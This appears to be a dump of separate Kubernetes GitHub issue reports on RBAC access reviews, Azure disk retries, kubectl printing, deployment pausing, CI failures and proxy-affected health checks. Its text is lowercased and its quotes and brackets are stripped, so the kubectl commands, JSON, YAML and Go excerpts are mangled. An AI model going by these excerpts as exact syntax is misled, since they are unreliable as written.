linux d63a8d93-6617-4bdb-80ee-36499392246c 3.10.0-862.6.3.el7.x86_64  1 smp tue jun 26 16:32:21 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r \r linux 391887eb-14f8-4b7c-9498-41fc1f8c92cb 4.12.7-coreos  1 smp tue aug 15 23:54:56 utc 2017 x86_64 intel r  xeon r  cpu @ 2.20ghz genuineintel gnu/linux\r    \r \r - install tools:\r - others:

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r    \r cluster/kubectl.sh create clusterrole --verb=\  \  psp --resource=psp\r cluster/kubectl.sh create rolebinding psp --clusterrole=psp --serviceaccount=default:default\r    \r result: use below\r ~~➜  kubernetes git: master  ✗ cluster/kubectl.sh auth can-i use psp --as=system:serviceaccount:default:default -v 8\r {\ namespace\ :\ default\ ,\ verb\ :\ use\ ,\ group\ :\ extensions\ ,\ resource\ :\ podsecuritypolicies\ }},\ status\ :{\ allowed\ :true,\ reason\ :\ rbac: allowed by rolebinding \\\ psp/default\\\  of clusterrole \\\ cluster-admin\\\  to serviceaccount \\\ default/default\\\ \ }}\r yes~~\r \r    \r ➜  kubernetes git: master  ✗ cluster/kubectl.sh get psp --as=system:serviceaccount:default:default\r error from server  forbidden : podsecuritypolicies.extensions is forbidden: user \ system:serviceaccount:default:default\  cannot list resource \ podsecuritypolicies\  in api group \ extensions\  at the cluster scope\r    \r selfsubjectaccessreview only matches rules. if the request is sent directly to apiserver , apiserver will get the attribute from request, there is no problem like this. but if other places use the selfsubjectaccessreview api to verify permission, there may be hidden security issues. now the client must ensure that the attribute passed by itself is correct.\r \r  \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r in some error condition when detach azure disk failed, azure cloud provider will retry 6 times at most with exponential backoff, it will hold the data disk list for about 3 minutes with a node level lock, and in that time period, if customer update data disk list manually  e.g. need manual operationto attach/detach another disk since there is attach/detach error,   , the data disk list will be obselete dirty data , then weird vm status happens, e.g. attach a non-existing disk, we should split those retry operations, every retry should get a fresh data disk list in the beginning.\r \r https://github.com/kubernetes/kubernetes/blob/cbaaa67b11ee49fcc1ca1dcb33a7e9e1025cee81/pkg/cloudprovider/providers/azure/azure_controller_standard.go l150-l153\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : master\r - cloud provider or hardware configuration:\r - os  e.g:  cat /etc/os-release  :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r  /assign

example: it's useful to have a single place where we define what it means for a pod to be in a terminated state  and conversely a non-terminated state . once we have controllers responsible for gcing their pods, this is something we want all controllers to have the same definition of, and if for some reason we change/add/delete phases, we want to only have to change the definition in one place.  there surely will be other use cases, if there aren't already.  this would not be part of the api or user-visible, it's just for convenience of writing things like controllers  and maybe schedulers  and the like.

right now, if an extension api  e.g. daemonset  is disabled, we return 404 and not much other info.  while this is legal, it doesn't give a great user experience.  we should return the 404, but also a message indicating how to activate the api.  e.g. a json status message that says \ inactive\  or something like that.

going to link affected issues to this and add commentary as i figure out what happened.  here are the logs:      i0227 18:13:23.754126   30214 github.go:201  made 0 api calls since the last reset 0.000000 calls/sec i0227 18:13:23.756030   30214 mungegithub.go:57  running mungers i0227 18:15:55.482243   30214 github.go:1149  removing comment 185264896 from issue 20273 i0227 18:15:55.590793   30214 github.go:1128  commenting \ @kargakis\ you must link to the test flake issue which caused you to request this manual re-test.\ re-test requests should be in the form of:  k8s-bo t test this issue:  <number> \ here is the  list of open test flakes  https://github.com/kubernetes/kubernetes/issues?q=is:issue+label:kind/flake+is:open .\  in 20273 i0227 18:15:55.771203   30214 github.go:1149  removing comment 188879479 from issue 20273 i0227 18:15:55.924248   30214 github.go:1128  commenting \ @kargakis\ you must link to the test flake issue which caused you to request this manual re-test.\ re-test requests should be in the form of:  k8s-bo t test this issue:  <number> \ here is the  list of open test flakes  https://github.com/kubernetes/kubernetes/issues?q=is:issue+label:kind/flake+is:open .\  in 20273 i0227 18:16:07.823871   30214 github.go:1149  removing comment 187993561 from issue 20415 i0227 18:16:07.950095   30214 github.go:1128  commenting \ @pwittrock\ you must link to the test flake issue which caused you to request this manual re-test.\ re-test requests should be in the form of:  k8s-bot test this issue:  <number> \ here is the  list of open test flakes  https://github.com/kubernetes/kubernetes/issues?q=is:issue+label:kind/flake+is:open .\  in 20415 i0227 18:16:08.103848   30214 github.go:588  removing label \ lgtm\  to pr 20415 i0227 18:16:12.263085   30214 github.go:778  pr 20446 setting \ submit queue\  github status to \ github ci tests are not green.\  i0227 18:16:18.103767   30214 github.go:1128  commenting \ travis continuous integration appears to have missed, closing and re-opening to trigger it\  in 20628 i0227 18:16:18.286839   30214 github.go:992  closing pr  20628 i0227 18:16:23.455190   30214 github.go:1015  opening pr  20628 i0227 18:17:26.037538   30214 github.go:1128  commenting \ @k8s-bot test this  submit-queue is verifying that this pr is safe to merge \  in 21499 i0227 18:17:26.243274   30214 github.go:778  pr 21499 setting \ submit queue\  github status to \ requested and waiting for github e2e test to start running a second time.\  i0227 18:18:26.596279   30214 github.go:778  pr 21499 setting \ submit queue\  github status to \ running github e2e tests a second time.\  i0227 18:18:54.018711   30214 github.go:201  made 2920 api calls since the last reset 8.841398 calls/sec i0227 18:18:54.018801   30214 mungegithub.go:71  sleeping for 4m29.737228845s i0227 18:23:23.756153   30214 mungegithub.go:57  running mungers i0227 18:28:29.853755   30214 github.go:778  pr 22133 setting \ submit queue\  github status to \ pr does not have lgtm.\  i0227 18:28:29.946362   30214 github.go:201  made 2893 api calls since the last reset 5.023201 calls/sec i0227 18:28:29.946470   30214 mungegithub.go:71  sleeping for 4m53.809678613s i0227 18:33:23.756276   30214 mungegithub.go:57  running mungers i0227 18:38:35.021151   30214 github.go:201  made 2892 api calls since the last reset 4.779575 calls/sec i0227 18:38:35.021260   30214 mungegithub.go:71  sleeping for 4m48.735010504s i0227 18:43:23.756428   30214 mungegithub.go:57  running mungers i0227 18:46:04.939676   30214 github.go:778  pr 20446 setting \ submit queue\  github status to \ github ci tests are not green.\  i0227 18:47:06.260029   30214 github.go:778  pr 21593 setting \ submit queue\  github status to \ github ci tests are not green.\  i0227 18:48:36.407404   30214 github.go:201  made 2891 api calls since the last reset 4.807228 calls/sec i0227 18:48:36.407489   30214 mungegithub.go:71  sleeping for 4m47.348932174s i0227 18:49:07.969280   30214 github.go:1070  merging pr  21499 i0227 18:49:07.969305   30214 github.go:1128  commenting \ automatic merge from submit-queue\  in 21499 i0227 18:49:08.514758   30214 github.go:778  pr 21499 setting \ submit queue\  github status to \ merged!\  i0227 18:49:10.146544   30214 github.go:1128  commenting \ @k8s-bot test this  submit-queue is verifying that this pr is safe to merge \  in 21673 i0227 18:49:10.358929   30214 github.go:778  pr 21673 setting \ submit queue\  github status to \ requested and waiting for github e2e test to start running a second time.\  i0227 18:50:41.040997   30214 github.go:778  pr 21673 setting \ submit queue\  github status to \ running github e2e tests a second time.\  i0227 18:53:23.756539   30214 mungegithub.go:57  running mungers i0227 19:06:41.681553   30214 github.go:201  made 3341 api calls since the last reset 3.078485 calls/sec i0227 19:06:41.681664   30214 mungegithub.go:74  not sleeping as we took more than 10m0s to complete one loop i0227 19:06:41.681686   30214 mungegithub.go:57  running mungers e0227 19:10:22.545977   30214 github.go:1190  no mergeability information for \ split factory bindflags\  21593, skipping e0227 19:10:24.883433   30214 github.go:1190  no mergeability information for \ split factory bindflags\  21593, skipping e0227 19:10:27.065761   30214 github.go:1190  no mergeability information for \ split factory bindflags\  21593, skipping e0227 19:10:29.238059   30214 github.go:1190  no mergeability information for \ split factory bindflags\  21593, skipping e0227 19:10:31.414332   30214 github.go:1190  no mergeability information for \ split factory bindflags\  21593, skipping i0227 19:10:31.489347   30214 github.go:778  pr 21593 setting \ submit queue\  github status to \ unable to determine is pr is mergeable. will try again later.\  i0227 19:14:40.551497   30214 github.go:201  made 3015 api calls since the last reset 6.296074 calls/sec i0227 19:14:40.551607   30214 mungegithub.go:71  sleeping for 2m1.130080772s i0227 19:16:41.681803   30214 mungegithub.go:57  running mungers i0227 19:21:18.265435   30214 github.go:1070  merging pr  21673 i0227 19:21:18.265469   30214 github.go:1128  commenting \ automatic merge from submit-queue\  in 21673 i0227 19:21:18.814787   30214 github.go:778  pr 21673 setting \ submit queue\  github status to \ merged!\  i0227 19:21:20.740694   30214 github.go:1128  commenting \ @k8s-bot test this  submit-queue is verifying that this pr is safe to merge \  in 21728 i0227 19:21:20.940198   30214 github.go:778  pr 21728 setting \ submit queue\  github status to \ requested and waiting for github e2e test to start running a second time.\  i0227 19:21:21.154504   30214 github.go:778  pr 21728 setting \ submit queue\  github status to \ running github e2e tests a second time.\

under the docker container runtime, memory  qos classes  https://github.com/kubernetes/kubernetes/blob/v1.2.0/docs/proposals/resource-qos.md qos-classes  allow oom_score_adj to be relatively set  and it's set for other reasons as well i believe .  rkt doesn't have such a construct currently. this will be useful for implementing qos classes  e.g. ref  12182 .  cc @yifan-gu

this issue is filed as a result of investigation done on  29838  https://github.com/kubernetes/kubernetes/issues/29838  and the subsequent pr  33010  https://github.com/kubernetes/kubernetes/pull/33010   the main summary of this issue is that the function  printeventlist  defined in   k8s.io/kubernetes/pkg/kubectl/resource_printer.go  is not being used in any path except in one path for the watching for events. i think similar behavior is there for all printxxxlist functions. this issue is an attempt to figure out if this was the intended behavior and if not cleanup the code. its more of an design review bug.  here is some notes and observation from that investigation:-  1: sorting of events across different resources can be achieved using the command  kubectl get events --sort-by='{.lasttimestamp}'  otherwise they are all mixed up  2: doing  kubectl get events  would show up events in mixed order across all resources tested with pods . this should show events in sorted order by default, since when events from different resources are shown, the user is only interested in the latest events or events in chronological order. per resource events are anyways shown in  kubectl describe   3:k8s.io/kubernetes/pkg/kubectl/resource_printer.go has handlers for different kinds of objects  func  h  humanreadableprinter  adddefaulthandlers   { ....   h.handler eventcolumns, printevent   h.handler eventcolumns, printeventlist  but when i tried to print the stack trace, i only see printevent being called, and printeventlist is not used at all, even though i see the kubectl getting a response with api.eventlist object.  here is a sample stack trace for kubectl get events      goroutine 1  running : runtime/debug.stack 0x6, 0xc4201e1c00, 0x252a720      /usr/local/go/src/runtime/debug/stack.go:24 +0x79 runtime/debug.printstack       /usr/local/go/src/runtime/debug/stack.go:16 +0x22 k8s.io/kubernetes/pkg/kubectl.printevent 0xc4205eb5e8, 0x24e7e80, 0xc4204d8800, 0x0, 0x0, 0x0, 0x25575d8, 0x0, 0x0, 0x0, ...      /users/mayank.kumar/src/golang/src/k8s.io/kubernetes/pkg/kubectl/resource_printer.go:1594 +0x42 reflect.value.call 0x171f0c0, 0x1a43480, 0x13, 0x1945ebb, 0x4, 0xc4205c3658, 0x3, 0x3, 0x18aee00, 0x18aee00, ...      /usr/local/go/src/reflect/value.go:434 +0x5c8 reflect.value.call 0x171f0c0, 0x1a43480, 0x13, 0xc4205c3658, 0x3, 0x3, 0x0, 0xc4200b0f18, 0x1744a40      /usr/local/go/src/reflect/value.go:302 +0xa4 k8s.io/kubernetes/pkg/kubectl.  humanreadableprinter .printobj 0xc420274a00, 0x24de8c0, 0xc4205eb5e8, 0x24e7e80, 0xc4204d8800, 0x0, 0x0      /users/mayank.kumar/src/golang/src/k8s.io/kubernetes/pkg/kubectl/resource_printer.go:2237 +0x323 k8s.io/kubernetes/pkg/kubectl/cmd.runget 0xc4203f8360, 0x24e7a80, 0xc420086008, 0x24e7a80, 0xc420086010, 0xc4200a98c0, 0xc42037c8e0, 0x1, 0x1, 0xc420160e40, ...      /users/mayank.kumar/src/golang/src/k8s.io/kubernetes/pkg/kubectl/cmd/get.go:416 +0x131a k8s.io/kubernetes/pkg/kubectl/cmd.newcmdget.func1 0xc4200a98c0, 0xc42037c8e0, 0x1, 0x1      /users/mayank.kumar/src/golang/src/k8s.io/kubernetes/pkg/kubectl/cmd/get.go:102 +0x89 k8s.io/kubernetes/vendor/github.com/spf13/cobra.  command .execute 0xc4200a98c0, 0xc42037c820, 0x1, 0x1, 0xc4200a98c0, 0xc42037c820      /users/mayank.kumar/src/golang/src/k8s.io/kubernetes/vendor/github.com/spf13/cobra/command.go:603 +0x439 k8s.io/kubernetes/vendor/github.com/spf13/cobra.  command .executec 0xc420406b40, 0xc42037c380, 0x1, 0x1      /users/mayank.kumar/src/golang/src/k8s.io/kubernetes/vendor/github.com/spf13/cobra/command.go:689 +0x367 k8s.io/kubernetes/vendor/github.com/spf13/cobra.  command .execute 0xc420406b40, 0x24e7a40, 0xc420086000      /users/mayank.kumar/src/golang/src/k8s.io/kubernetes/vendor/github.com/spf13/cobra/command.go:648 +0x2b k8s.io/kubernetes/cmd/kubectl/app.run 0x0, 0x0      /users/mayank.kumar/src/golang/src/k8s.io/kubernetes/cmd/kubectl/app/kubectl.go:38 +0xcb main.main        here is the corresponding kubectl http response with -v=10 debugging ,  i0904 01:48:36.314251   86778 request.go:908  response body: {\ kind\ :\ eventlist\ ,\ apiversion\ :\ v1\ ,\ metadata\ :{\ selflink\ :\ /api/v1/namespaces/default/events\ ,\ resourceversion\ :\ 2593\ },\ items\ : {\ metadata\ :{\ name\ :\ my-nginx-2494149703-ce2vy.147111955b698a53\ ,\ namespace\ :\ default\ ,\ selflink\ :\ /api/v1/namespaces/default/events/my-nginx-2494149703-ce2vy.147111955b698a53\ ,\ uid\ :\ f842f93b-7279-11e6-8686-42010a800002\ ,\ resourceversion\ :\ 2588\ ,\ creationtimestamp\ :\ 2016-09-04t08:31:26z\ },\ involvedobject\ :{\ kind\ :\ pod\ ,\ namespace\ :\ default\ ,\ name\ :\ my-nginx-2494149703-ce2vy\ ,\ uid\ :\ f83d7533-7279-11e6-8686-42010a800002\ ,\ apiversion\ :\ v1\ ,\ resourceversion\ :\ 2489739\ },\ reason\ :\ scheduled\ ,\ message\ :\ successfully assigned my-nginx-2494149703-ce2vy to kubernetes-minion-group-5bdr\ ,\ source\ :{\ component\ :\ default-scheduler\ },\ firsttimestamp\ :\ 2016-09-04t08:31:26z\ ,\ lasttimestamp\ :\ 2016-09-04t08:31:26z\ ,\ count\ :1,\ type\ :\ normal\ },{\ metadata\ :{\ name\ :\ my-nginx-2494149703-ce2vy.147111959345d5d9\ ,\ namespace\ :\ default\ ,\ selflink\ :\ /api/v1/namespaces/default/events/my-nginx-2494149703-ce2vy.147111959345d5d9\ ,\ uid\ :\ f8d19330-7279-11e6-8686-42010a800002\ ,\ resourceversion\ :\ 2590\ ,\ creationtimestamp\ :\ 2016-09-04t08:31:27z\ },\ involvedobject\ :{\ kind\ :\ pod\ ,\ namespace\ :\ default\ ,\ name\ :\ my-nginx-2494149703-ce2vy\ ,\ uid\ :\ f83d7533-7279-11e6-8686-42010a800002\ ,\ apiversion\ :\ v1\ ,\ resourceversion\ :\ 2489743\ ,\ fieldpath\ :\ spec.containers{my-nginx}\ },\ reason\ :\ pulli  4: i saw similar behavior with kubectl get pods, where although there are handlers called printpodlist, they are never called.  5: the printeventlist handler is never called and that is where the sorting was added as part of this pr  2948 i think that pr only solved it for kubectl describe pods, but did not solve it for kubectl get events or i am still missing something.  // sorts and prints the eventlist in a human-friendly format. 1637 func printeventlist list  api.eventlist, w io.writer, options printoptions  error { 1638     sort.sort sortableevents list.items   1639     for i := range list.items { 1640         if err := printevent &list.items i , w, options ; err != nil { 1641             return err 1642         } 1643     } 1644     return nil 1645 } 1646  6: someone more familiar with the framework can confirm how these printxxxlist functions are supposed to be used. but for sure in the kubectl get events path, the printeventlist is not being called.  7: k8s.io/kubernetes/pkg/kubectl/cmd/get.go as logic which figures if the object is listtype only for watches, but for regular flow, it breaks down the response into individual objs and then calls printobj on each obj rather than calling it on the uber eventlist obj , which ensures that the corresponding handlers for api.eventlist will never be called even though the response was api.eventlist.  8: further investigation i found  kubectl get events --watch  is the only place printeventlist is called. so indeed its  being used, but my feeling is that printeventlist should be always used anytime the response is of type  api.eventlist which is not the current behavior. we should unify this behavior if we can find why printeventlist is not called even if the response is of type  api.eventlist in the get events case but only called for watches.

is this a bug report or feature request?    choose one :\r bug\r \r   kubernetes version    use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 7+\ , gitversion:\ v1.7.0-alpha.0.1902+7543bac56342fd\ , gitcommit:\ 7543bac56342fddaaadcfe555ad500a19dabf611\ , gittreestate:\ clean\ , builddate:\ 2017-04-13t08:50:28z\ , goversion:\ go1.7.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7+\ , gitversion:\ v1.7.0-alpha.0.1902+7543bac56342fd\ , gitcommit:\ 7543bac56342fddaaadcfe555ad500a19dabf611\ , gittreestate:\ clean\ , builddate:\ 2017-04-13t08:50:28z\ , goversion:\ go1.7.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r \r   environment  :\r -   cloud provider or hardware configuration  :\r -   os    e.g. from /etc/os-release :\r -   kernel    e.g.  uname -a  :\r -   install tools  :\r -   others  :\r \r \r   what happened  :\r pause a fail deployment will cause the running pod disappear when maxunavailable=replicas-1\r \r   what you expected to happen  :\r the only running pod should keep running\r \r   how to reproduce it    as minimally and precisely as possible :\r 1. create a deployment with two replicas, maxsurge=1, maxunavailabe=1\r    \r apiversion: extensions/v1beta1\r kind: deployment\r metadata:\r   name: hello-openshift\r spec:\r   replicas: 2\r   template:\r     metadata:\r       labels:\r         app: hello-openshift\r     spec:\r       containers:\r       - name: hello-openshift\r         image: openshift/hello-openshift\r         ports:\r         - containerport: 80\r   strategy:\r     rollingupdate:\r       maxsurge: 1\r       maxunavailable: 1\r     type: rollingupdate\r    \r 2. update the image to a not exist image\r cluster/kubectl.sh set image deployment/hello-openshift hello-openshift=openshift/noexist\r    \r ➜  kubernetes git: master  ✗ cluster/kubectl.sh get rs                  \r name                         desired   current   ready     age\r hello-openshift-2382698553   1         1         1         1h\r hello-openshift-4118353202   2         2         0         1h\r ➜  kubernetes git: master  ✗ cluster/kubectl.sh get pod\r name                               ready     status             restarts   age\r hello-openshift-2382698553-w7zsl   1/1       running            0          1h\r hello-openshift-4118353202-71qjn   0/1       imagepullbackoff   0          1h\r hello-openshift-4118353202-81tqn   0/1       imagepullbackoff   0          1h\r \r    \r 3. pause the deployment\r    \r cluster/kubectl.sh rollout pause deployment/hello-openshift\r deployment \ hello-openshift\  paused\r ➜  kubernetes git: master  ✗ cluster/kubectl.sh get pod                                 \r name                               ready     status             restarts   age\r hello-openshift-2382698553-w7zsl   0/1       terminating        0          1h\r hello-openshift-4118353202-71qjn   0/1       imagepullbackoff   0          1h\r hello-openshift-4118353202-81tqn   0/1       imagepullbackoff   0          1h\r cluster/kubectl.sh get rs \r name                         desired   current   ready     age\r hello-openshift-2382698553   0         0         0         1h\r hello-openshift-4118353202   2         2         0         1h\r    \r

https://k8s-testgrid.appspot.com/google-unit verify-master\r \r i0602 00:51:43.045  +++ /go/src/k8s.io/kubernetes/_tmp_federation/openapi-spec/swagger.json\t2017-06-02 00:38:17.595732994 -0700\r i0602 00:51:43.045  @@ -2,7 +2,7 @@\r i0602 00:51:43.045     \ swagger\ : \ 2.0\ ,\r i0602 00:51:43.045     \ info\ : {\r i0602 00:51:43.045      \ title\ : \ generic api server\ ,\r i0602 00:51:43.045  -   \ version\ : \ v1.8.0\ \r i0602 00:51:43.045  +   \ version\ : \ v1.7.0\ \r i0602 00:51:43.046     },\r i0602 00:51:43.046     \ paths\ : {\r i0602 00:51:43.046      \ /api/\ : {\r i0602 00:51:43.046  /go/src/k8s.io/kubernetes/federation/apis/openapi-spec is out of date. please run hack/update-federation-openapi-spec.sh\r i0602 00:51:43.050  \u001b 0;31mfailed\u001b 0m   hack/make-rules/../../hack/verify-federation-openapi-spec.sh\t137s\r \r i0602 01:18:13.008  +++ /go/src/k8s.io/kubernetes/_tmp/openapi-spec/swagger.json\t2017-06-02 00:38:17.403732964 -0700\r i0602 01:18:13.008  @@ -2,7 +2,7 @@\r i0602 01:18:13.008     \ swagger\ : \ 2.0\ ,\r i0602 01:18:13.009     \ info\ : {\r i0602 01:18:13.009      \ title\ : \ kubernetes\ ,\r i0602 01:18:13.009  -   \ version\ : \ v1.8.0\ \r i0602 01:18:13.009  +   \ version\ : \ v1.7.0\ \r i0602 01:18:13.009     },\r i0602 01:18:13.009     \ paths\ : {\r i0602 01:18:13.009      \ /api/\ : {\r i0602 01:18:13.009  /go/src/k8s.io/kubernetes/api/openapi-spec is out of date. please run hack/update-openapi-spec.sh\r i0602 01:18:13.017  \u001b 0;31mfailed\u001b 0m   hack/make-rules/../../hack/verify-openapi-spec.sh\t134s\r \r this completely blocks any pr being merged. cc/ @kubernetes/kubernetes-release-managers \r \r \r \r \r \r \r \r \r \r \r \r \r \r

 \r   what happened  :\r an additional proxy server was set up for our internal kubernetes cluster, to replace one that had been running as an internet-accessible kubernetes node.\r this means that the proxy no longer has access to the kubernetes cidrs, which the old one had.\r \r at this point, liveness and readyness checks started failing for all pods, corresponding to entries in the proxy access log;\r    \r 1499844148.511    998 10.133.0.10 tcp_miss_aborted/000 0 get http://10.254.73.2:10254/healthz - hier_direct/10.254.73.2 -\r    \r \r   what you expected to happen  :\r kubelet ignores proxy settings when trying to communicate with pods hosted on the local machine.\r \r   how to reproduce it  as minimally and precisely as possible   :\r    \r $ cat /etc/systemd/system.conf.d/01-proxy-environment.conf \r  manager \r defaultenvironment=\ http_proxy=http://proxy-server.localdomain:3128\ \r    \r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.5.2\r - cloud provider or hardware configuration: bare-metal\r - os  e.g. from /etc/os-release : centos linux release 7.3.1611  core \r - kernel  e.g.  uname -a  : 3.10.0-514.26.2.el7.x86_64

failure cluster  87a6d0068c40bae8e0e4  https://go.k8s.io/triage 87a6d0068c40bae8e0e4        error text:     /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/service.go:808 jul  7 07:45:31.906: timeout waiting for service \ mutability-test\  to have a load balancer /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/service.go:2496           failure cluster statistics: 1 tests failed,    16 jobs failed,    101 builds failed. failure stats cover 1 day time range '12 jul 2017 07:55 utc' to '13 jul 2017 07:55 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | |  k8s.io  services should be able to change the type and ports of a service  slow  | 16 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-gce-cosstable1-k8sbeta-slow | 12 |  13 jul 2017 06:59 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-cosstable1-k8sbeta-slow/37  | | ci-kubernetes-e2e-gce-cosstable1-k8sdev-slow | 12 |  13 jul 2017 07:18 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-cosstable1-k8sdev-slow/99  | | ci-kubernetes-e2e-gce-cosdev-k8sdev-slow | 12 |  13 jul 2017 07:03 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-cosdev-k8sdev-slow/103  |  <details><summary>rationale for assignments:</summary>  | assignee or sig area | owns test s  | | --- | --- | | bprashanth |  k8s.io  services should be able to change the type and ports of a service  slow  | | sig/network |  k8s.io  services should be able to change the type and ports of a service  slow  |  </details><br>   current status  https://go.k8s.io/triage 87a6d0068c40bae8e0e4

had this test fail a few times on unrelated prs in presubmit.\r \r https://storage.googleapis.com/k8s-gubernator/triage/index.html?pr=1&test=testcreatewithnonexistentowner 3fa5db1dc43a959fe8e9\r \r example failure: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/50561/pull-kubernetes-unit/47770/\r \r possibly related to https://github.com/kubernetes/kubernetes/pull/50335 which recently merged.\r \r ---\r  cc @kubernetes/sig-api-machinery-bugs @ironcladlou @caesarxuchao

 \r   what happened  :\r some unit tests in deviceplugin/manager.go didn't clean up their states, which could cause subsequent test failures.\r there is also a race in deviceplugin manager stop that it should protect its operations with mutex.\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r go test -count 50 -race k8s.io/kubernetes/pkg/kubelet/deviceplugin\r \r   anything else we need to know?  :\r many thanks to @renaudwastaken for noticing some of these issues!\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.8\r

recursive create/apply generates warnings because of some files in the auto-generated .kube folder.

it isn't very clear from the docs why a second ca is needed:\r \r > kubernetes and the kube-apiserver have multiple cas, so make sure that the proxy is signed by the aggregation layer ca and not by something else, like the master ca.\r \r this is unintuitive.  i presume it would have been ok to have had a root ca with two children, instead of two root cas, except for legacy reasons?  but what is the issue with reusing the same ca, particularly now that we hand out certs to all comers via the csr api?\r \r can we instead chain the aggregation \ ca\  from the root ca?

is this a bug report or feature request?  :\r   /area platform/gce\r \r   what happened  :\r from http://k8s-testgrid.appspot.com/sig-network-gce gci-gce-serial, ci is failing on the firewall e2e test constantly since some recent changes on gce cloud library   diff  https://github.com/kubernetes/kubernetes/compare/5d8a2b9e0...6b5703743  . example failure:\r    \r  sig-network  firewall rule  slow   serial  should create valid firewall rules for loadbalancer type service\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/network/firewall.go:51\r expected error:\r     < errors.errorstring | 0xc4225245e0>: {\r         s: \ error waiting for firewall k8s-a697eba75fd0e11e7b2d842010a80000-http-hc exist=false\ ,\r     }\r     error waiting for firewall k8s-a697eba75fd0e11e7b2d842010a80000-http-hc exist=false\r not to have occurred\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/network/firewall.go:85\r    \r \r error log from service_controller   log link  https://storage.googleapis.com/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-serial/2874/artifacts/bootstrap-e2e-master/kube-controller-manager.log  :\r    \r i0119 11:49:54.941888       1 gce_loadbalancer.go:198  ensureloadbalancerdeleted bootstrap-e2e, e2e-tests-firewall-test-lx85z, firewall-test-loadbalancer, a697eba75fd0e11e7b2d842010a80000, us-central1 : done deleting loadbalancer. err:  googleapi: error 400: invalid value 'https://www.googleapis.com/compute/v1/projects/e2e-gce-gci-ci-serial-1-5/regions/us-central1'. values must match the following regular expression: ' a-z  ?: -a-z0-9 {0,61} a-z0-9  ?', invalidparameter, googleapi: error 400: invalid value 'https://www.googleapis.com/compute/v1/projects/e2e-gce-gci-ci-serial-1-5/regions/us-central1'. values must match the following regular expression: ' a-z  ?: -a-z0-9 {0,61} a-z0-9  ?', invalidparameter \r i0119 11:49:54.941982       1 service_controller.go:705  finished syncing service \ e2e-tests-firewall-test-lx85z/firewall-test-loadbalancer\   6.480783563s \r e0119 11:49:54.942015       1 service_controller.go:218  error processing service e2e-tests-firewall-test-lx85z/firewall-test-loadbalancer  will retry :  googleapi: error 400: invalid value 'https://www.googleapis.com/compute/v1/projects/e2e-gce-gci-ci-serial-1-5/regions/us-central1'. values must match the following regular expression: ' a-z  ?: -a-z0-9 {0,61} a-z0-9  ?', invalidparameter, googleapi: error 400: invalid value 'https://www.googleapis.com/compute/v1/projects/e2e-gce-gci-ci-serial-1-5/regions/us-central1'. values must match the following regular expression: ' a-z  ?: -a-z0-9 {0,61} a-z0-9  ?', invalidparameter \r i0119 11:49:54.942075       1 service_controller.go:718  service has been deleted e2e-tests-firewall-test-lx85z/firewall-test-loadbalancer. attempting to cleanup load balancer resources\r i0119 11:49:54.942091       1 service_controller.go:705  finished syncing service \ e2e-tests-firewall-test-lx85z/firewall-test-loadbalancer\   27.66âµs \r i0119 11:49:54.945039       1 event.go:218  event v1.objectreference{kind:\ service\ , namespace:\ e2e-tests-firewall-test-lx85z\ , name:\ firewall-test-loadbalancer\ , uid:\ 697eba75-fd0e-11e7-b2d8-42010a800002\ , apiversion:\ v1\ , resourceversion:\ 22964\ , fieldpath:\ \ } : type: 'warning' reason: 'creatingloadbalancerfailed' error creating load balancer  will retry :  googleapi: error 400: invalid value 'https://www.googleapis.com/compute/v1/projects/e2e-gce-gci-ci-serial-1-5/regions/us-central1'. values must match the following regular expression: ' a-z  ?: -a-z0-9 {0,61} a-z0-9  ?', invalidparameter, googleapi: error 400: invalid value 'https://www.googleapis.com/compute/v1/projects/e2e-gce-gci-ci-serial-1-5/regions/us-central1'. values must match the following regular expression: ' a-z  ?: -a-z0-9 {0,61} a-z0-9  ?', invalidparameter \r    \r \r cc @bowei @nicksardo

